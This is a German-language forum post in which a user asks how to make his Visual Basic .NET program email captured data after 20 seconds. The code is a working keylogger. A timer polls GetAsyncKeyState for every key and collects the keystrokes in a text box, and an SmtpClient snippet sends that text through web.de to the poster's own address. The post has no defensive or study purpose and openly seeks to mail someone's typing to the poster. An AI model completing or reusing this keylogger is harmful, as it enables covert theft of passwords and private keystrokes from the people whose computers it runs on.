MetalJulien
Grünschnabel
Hi, ich habe folgenden Code: Nun, wie bringe ich es her, dass der Befehl
im unteren Code nach 20 Sekunden ausgeführt wird? (Es schreibt die Daten, die man auf dme Computer schreibt in die Textbox und es sollte nach 20 Sekunden diese Tasten per mail an mich senden, nur wie?)
Code:
Dim myClient As New Net.Mail.SmtpClient("smtp.web.de")
myClient.Credentials = New NetworkCredential("EMAILADRESSE", "Passwort")
myClient.Send("*EMAILADRESSE", "rsm*EMAILADRESSE, *EMAILADRESSE", "Daten", TextBox1.Text)
Code:
Imports System.Net
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim Asciicode As Integer
Dim Taste As Integer
Private Sub MaskedTextBox1_MaskInputRejected(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MaskInputRejectedEventArgs) Handles MaskedTextBox1.MaskInputRejected
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
Taste = GetAsyncKeyState(i)
If Taste = -32767 Then
Me.MaskedTextBox1.Text = Me.MaskedTextBox1.Text & Chr(i)
End If
Next
End Sub
End Class